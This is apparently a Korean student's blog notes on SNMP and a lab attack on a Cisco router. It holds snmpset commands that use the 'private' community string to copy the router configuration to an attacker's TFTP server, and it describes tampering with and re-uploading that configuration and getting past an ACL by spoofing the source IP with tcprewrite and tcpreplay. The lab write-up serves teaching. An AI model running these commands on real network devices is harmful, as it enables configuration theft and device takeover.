SNMP ( Simple Network Management Protocol )
- 네트워크 관리를 위한 프로토콜
- Manager와 Agent의 구조로 이루어져 있다
Manager : Agent로부터 정보를 제공 받는다.
Agent : Agent가 설치된 시스템의 정보나 네트워크 정보등을 수집하여 MIB형태로 보관
- UDP기반의 161번포트와162번포트를 사용
SNMP 데이터 수집 방법
SNMP 기능
SNMP Version
지금은 SNMP v2c를 많이 사용함
SNMP는 이름대로 간단하게 쓰는 것이기 때문에 복잡한 것을 쓰지않음
NMS
SNMP 기반의 NMS 구성
각 장비로 묶어둠
SNMP Message
SNMP 서비스 탐지
SNMP 서비스 탐지를 실습으로 해볼것
GNS를 이런식으로 토폴로지 설정해두고 필요한 가상머신은 win_xp와 BT인 공격자
우선 핑이 잘 통하는지 부터 확인해보고
SNMP설정을 위해 라우터1에서 콘솔을 키고 해준다.
뒤쪽에 모드도 설정을 해줘야함 안쓰게되면 리드온리 모드로 된다.
중복으로도 생성 가능하다.
이렇게 하게되면 공격자에서 스캐닝이 가능하다.
SNMP서비스를 해보기위해 경로를 이동해야한다.
이것을 사용하기 위해 명령어를 이렇게 사용한다. 딕션어리 어택
딕셔너리 어택을 할 수 있음
이것을 해보기 위해 TFTPD를 사용하는데 여기에 있는걸 확인할수있음
그냥 실행하려고 하면 실행이 안됨 실행권한이 없기 때문
chmod 777 tftpd32.exe를 해주고 명령어로 실행이 안되기 때문에 직접 실행해줌
키면 이런 화면으로 나온다. UDP기반의 FTP인데 경량버전이라고 생각하면될듯
69번이 TFTP포트이고 오픈되어있는걸 확인
SNMP시스템을 사용해 파일을 실행해보면 set을 사용하면 되고 얻어오고싶으면 get을 쓰면됨
맨 마지막에 있는 숫자가 OID라고 함
이런식으로 사용한다. 맨 마지막에 100이라는 숫자가 명령어에 따라 다를 것
패킷을 켜주고 확인해보면 이런식으로 뜨게된다.
라우터에 있는 정보를 SNMP 설정 파일
사진에 있는것에 따라서 명령어를 설정해주면 된다.
snmpset -v 2c -c private 10.10.10.254 1.3.6.1.4.1.9.9.96.1.1.1.1.2.100 i 1
snmpset -v 2c -c private 10.10.10.254 1.3.6.1.4.1.9.9.96.1.1.1.1.3.100 i 4
snmpset -v 2c -c private 10.10.10.254 1.3.6.1.4.1.9.9.96.1.1.1.1.4.100 i 1
snmpset -v 2c -c private 10.10.10.254 1.3.6.1.4.1.9.9.96.1.1.1.1.5.100 a 10.10.10.30
snmpset -v 2c -c private 10.10.10.254 1.3.6.1.4.1.9.9.96.1.1.1.1.6.100 s router.run
snmpset -v 2c -c private 10.10.10.254 1.3.6.1.4.1.9.9.96.1.1.1.1.14.100 i 1
이 세팅한것을 get을 주면 됨
snmpget -v 2c -c private 10.10.10.254 1.3.6.1.4.1.9.9.96.1.1.1.1.10.100
이렇게 하면 파일을 준다.
이렇게 하면 tftp에 뭐가 계속 뜰것
그리고 ll를 쳐보면 router.run이 생겼다. SNMP로 인해 생긴 것
라우터로 와서 정상관리자만 접근 가능하게 할것이기 때문에 이런식으로 설정 하면
저 IP만 접속이 가능해진다.
우리가 하는것을 스크립트로 제공하는것이 있다
여기로 이동 해서 사용하기 위해서 권한을 주고 사용해보면 ACL때문에 지금은 안되는걸 확인
30번에서는 접속이 안되는 상황에서 우회해서 접속을 하고싶다.
그래서 이런식을 했을 때 tftp에 10번이 존재하지않아서 timeout이 뜸 클라이언트에 tftpd를 설치해줌
설치가 완료된다면 OK가 무사히 뜨게된다.
경로를 설정한곳에 새로 생겼다.
BT에서 tftpd에서 이런식으로 설정해서 get해주면 tools아래에 설정한 파일이 생겼다.
가져오는것 뿐아니라 수정해서 업로드도 가능하다. 호스트네임을 hack이라고 BT에서 변경했다.
tftpd에서 put을 눌러 다시 보낸다.
xp에서 올릴 수 있게끔 공격자에서 할것이다. 여기서 사용되는 merge명령어는 올려주는 명령어다
이런식으로 하고 확인해보면 라우터에 이름이 hack으로 바뀜
이렇게 설정해주면 외부에서 이뤄지는 get요청이 안될것이다. 기존에 설정했던 명령어에
access-list를 붙여주기만 하면 된다. 그럼 안된다고 뜨게된다.
다시 우회해서 들어갈 것이다.
와이어샤크에서 패킷을 캡쳐해주고 확인해보니 리퀘스트는 보내지만 리플라이는 안오는걸 확인한다.
여기서 source만 30번이 아닌 10번으로 바꿔준다면 정상적인 통신이 될것
이것을 저장해준다. 저장할 때는 위쪽 file에 save as로 해줌
이쪽으로 와서 확인해보니 잘 있는것을 확인 가능
이것을 수정할 수 있는 도구가 있다. 저기 보이는 tcprewrite이다
이렇게 도구를 써서 써주면 파일이 새로운 파일이 생긴것을 확인할 수 있음 이것을 보낸다면
정상적인 통신이 가능할 것
tcpreplay가 보내줄수있는 도구이다. 명령어 이렇게 해주기 전에 라우터에서 디버그 해줘야함
이렇게 해주면 라우터에 10번으로 전송중인걸 확인할 수 있음
'학원' 카테고리의 다른 글
2023/07/18 SSS, CSS, Web, 인증 (0) | 2023.07.18 |
---|---|
2023/07/17 Web (0) | 2023.07.17 |
2023/07/13 SSH, 암호화 (0) | 2023.07.13 |
2023/07/12 SSH스푸핑 (0) | 2023.07.12 |
2023/07/11 스푸핑 (0) | 2023.07.11 |